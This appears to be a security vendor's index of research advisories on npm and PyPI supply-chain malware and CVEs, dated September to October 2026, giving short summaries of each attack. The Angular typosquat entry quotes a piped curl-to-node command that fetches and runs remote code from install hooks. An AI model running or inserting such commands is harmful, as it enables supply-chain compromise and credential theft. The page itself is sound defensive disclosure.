Research

Vulnerability research and advisories

Actionable writeups with exploit context, metadata, and practical remediation details.

Subscribe to our security research

Get new advisories by email or plug the feed into your RSS reader.

RSS feed

Prefer RSS? Subscribe at https://corgea.com/research/rss.xml.

October's npm dependency-confusion cluster used native add-ons to map and raid internal environments

Between 9 and 11 October 2026, npm packages including `@galicia-toolkit-nestjs/paas`, `cloudflare_module`, `kmf-bootstrap`, `kmf-vendor-pack`, and `ksp-app` used inflated versions, postinstall hooks, and native add-ons to win dependency resolution and exfiltrate CI tokens, registry URLs, and host metadata.

Oct 12, 2026 • critical
CWE-506

tensorlake npm compromise used a preinstall loader, signed provenance, and a token-triggered wipe path

On 8 October 2026, malicious tensorlake@0.5.144 turned a normal npm install into host compromise. Attackers committed an obfuscated loader straight to tensorlakeai/tensorlake main, added `preinstall: node lib/setup.mjs`, published from the project's own workflow with provenance, skipped common CI environments, and persisted as `gh-token-monitor` so revoking a stolen GitHub token could trigger local file deletion.

Oct 8, 2026 • critical
CWE-494CWE-506CWE-522

Angular npm typosquats used web.archive.org to proxy install-time code execution

Between 4 and 5 October 2026, attackers published 14 malicious npm packages that sat one keystroke away from Angular's package scopes. Thirteen packages executed `curl -L https://web.archive.org/web/https://gitflic.ru/... | node` from `preinstall` or `postinstall`, while `@angulaar/cli` cloned the real Angular CLI and replaced its MCP dependency with attacker-chosen package `@modelcontextprotocol/server@2.0.0`.

Oct 7, 2026 • critical
CWE-506CWE-829

Weekly Briefing - 07-10-2026

Corgea's 7 October 2026 briefing leads with a 14-package Angular typosquat wave that proxied install-time malware through `web.archive.org`, then points readers back to the already-covered `@subql/common` trusted-publisher compromise. The requested source sweep did not surface a fresher Linux or package-manager story in the last 72 hours.

Oct 7, 2026 • critical
CWE-506CWE-829CWE-494

@subql/common: trusted publisher release swapped in a detached stealer

On 5 October 2026, attackers used an unsigned commit in `subquery/subql` to replace the built `@subql/common` package with an externally hosted tarball, then published `5.8.3` through GitHub Actions OIDC. The malicious version ran from both `postinstall` and `require('@subql/common')`, harvested local, cloud, Kubernetes, Vault, and GitHub credentials, and could inject a fake CodeQL workflow into reachable repositories.

Oct 6, 2026 • critical
CWE-506CWE-494CWE-829

Weekly Briefing - 06-10-2026

Corgea's weekly briefing for 30 September to 6 October 2026 centers on n8n queue-mode package installation through Redis and notes that the week's only other English-language research article, Nx `@nx/docker` release-pipeline command injection, was already covered in the 5 October interim briefing.

Oct 6, 2026 • high
CWE-862CWE-78CVE-2026-103251

CVE-2026-104859: `@nx/docker` turned release configuration into `/bin/sh -c`

Published on 2 October 2026, `CVE-2026-104859` in npm package `@nx/docker` lets untrusted `repositoryName`, `registryUrl`, `--dockerVersion`, and `NX_DOCKER_IMAGE_REF` values break out of interpolated `docker tag`, `docker images`, and `docker push` shell strings during Nx release jobs. The 22.7.8 and 23.1.1 fixes switch those calls to argv arrays with `execFile()` and `execFileSync()`.

Oct 5, 2026 • critical
CWE-78CVE-2026-104859

Weekly Briefing - 05-10-2026

Corgea's early-October briefing leads with Nx release-pipeline command injection in `@nx/docker`, then covers two fresh Tinypool worker-pool RCE gadgets and Mammoth.js style-map ReDoS. The requested source sweep did not surface a stronger in-window package compromise or Linux zero day than this npm cluster.

Oct 5, 2026 • critical
CWE-78CWE-1321CWE-1333

CVE-2026-103251: n8n queue mode lets Redis pub-sub install arbitrary npm packages cluster-wide

Published on 1 October 2026, CVE-2026-103251 in the npm package n8n broke the trust boundary between the normal community-package install flow and the Redis pub-sub path used by queue mode. In affected builds, anyone who could write to the Redis bus could send a forged install message and make every cluster node download, install, and load an attacker-chosen npm package without the usual validation, checksum, permission, or safety checks.

Oct 4, 2026 • high
CWE-862CVE-2026-103251

MAL-2026-17192: `donutautosellsrc` on PyPI staged a hidden Windows infostealer from a PNG and Polygon-linked C2

Public malware advisories published on 27 September 2026 tie `donutautosellsrc` versions `0.3.7` through `0.3.9` to an install-time loader that fetched a ZIP-appended PNG, unpacked a Windows Python runtime, and handed execution to an obfuscated native extension while later network routing was tied to C2 data pulled from Polygon transaction history.

Sep 29, 2026 • critical
CWE-506CWE-494CWE-829

Weekly Briefing - 29-09-2026

Corgea's weekly briefing for 23-29 September 2026 centers on Linux SUNRPC remote memory corruption in CVE-2026-93207, then points readers to the MemTensor, Graphalgo, and actions-cool research that earlier late-week briefings already covered.

Sep 29, 2026 • critical
CVE-2026-93207

CVE-2026-93207 leaves Linux SUNRPC with a stale GSS credential pointer

CVE-2026-93207 is a critical Linux kernel SUNRPC bug where a malformed RPCSEC_GSS credential can leave reused server-side state holding a borrowed XDR pointer plus a stale length, opening a path to remote memory corruption in exposed RPC services.

Sep 27, 2026 • critical
CVE-2026-93207

Weekly Briefing - 26-09-2026

Corgea's briefing for 23-26 September 2026 leads with MemTensor's compromised OpenClaw npm plugin and MemoryOS PyPI release, adds the later registry-cleanup and CI-bridge details, and records that the requested CISA/NVD/Aikido/Wiz/Socket/Endor sweep did not uncover a second brand-new package or Linux story worth a separate article.

Sep 26, 2026 • critical
CWE-494CWE-506CWE-522

Re-enabled `actions-cool` tags turned old Mini Shai-Hulud commits back into live CI malware

September 24 and 25 reporting shows `actions-cool/issues-helper` and `actions-cool/maintain-one-comment` becoming reachable again with malicious tags intact, so ordinary issue and comment workflows went back to downloading Bun, scraping `Runner.Worker` memory, and exposing CI secrets.

Sep 25, 2026 • critical
CWE-506CWE-494CWE-829

Graphalgo reached Terraform providers and Go modules with trigger-gated Go malware

Research published between 22 and 24 September 2026 shows the Graphalgo campaign moving from npm into Terraform providers and Go modules, where the payload hides behind provider and data-structure code paths, then decrypts a Go second stage controlled over Slack and Arbitrum Sepolia.

Sep 25, 2026 • critical
CWE-506CWE-829CWE-522

Weekly Briefing - 25-09-2026

Corgea's late-September briefing leads with Graphalgo's move into Terraform providers and Go modules, then covers Socket's Mini Shai-Hulud GitHub Actions re-enable warning and explains why the rest of the required source scan did not produce a stronger new package or Linux article in the same window.

Sep 25, 2026 • critical
CWE-506CWE-829CWE-522

MemTensor's OpenClaw plugin and MemoryOS launched the sckit implant from npm and PyPI

On 23 September 2026, compromised releases of MemTensor's OpenClaw npm plugin and MemoryOS PyPI package launched a bundled Go implant at plugin load or Python import, then searched developer and CI environments for registry, source control, cloud, and SSH credentials.

Sep 24, 2026 • critical
CWE-506CWE-829CWE-522

mathmain, mathsbase, and math-universe hid an encrypted loader behind lusolve()

Research published between 18 and 21 September 2026 shows three npm mathjs clones carrying malicious tarball-only code that stayed dormant until lusolve() processed a specific matrix, then decrypted a Slack and Sepolia controlled implant.

Sep 22, 2026 • critical
CWE-506CWE-494CWE-522

Weekly Briefing - 22-09-2026

Corgea's Tuesday briefing for 16-22 September 2026 leads with the mathmain encrypted-loader cluster, then covers nvm's new alias traversal, CISA's Linux KEV additions, and CrowdStrike's PhantomRaven report that did not make the prior roundup.

Sep 22, 2026 • critical
CWE-506CWE-22CWE-522

CVE-2026-94185: malicious .nvmrc values can make nvm read .npmrc, .aws/credentials, and other local files

A 21 September 2026 disclosure shows that nvm <= 0.40.7 resolves alias names as filesystem paths under $NVM_DIR/alias without rejecting .. components. That lets an attacker-controlled .nvmrc or alias name escape the alias directory and disclose readable local files, including registry tokens and cloud credentials, when developers run nvm use, nvm install, nvm which, or nvm alias.

Sep 21, 2026 • medium
CWE-22CWE-200CVE-2026-94185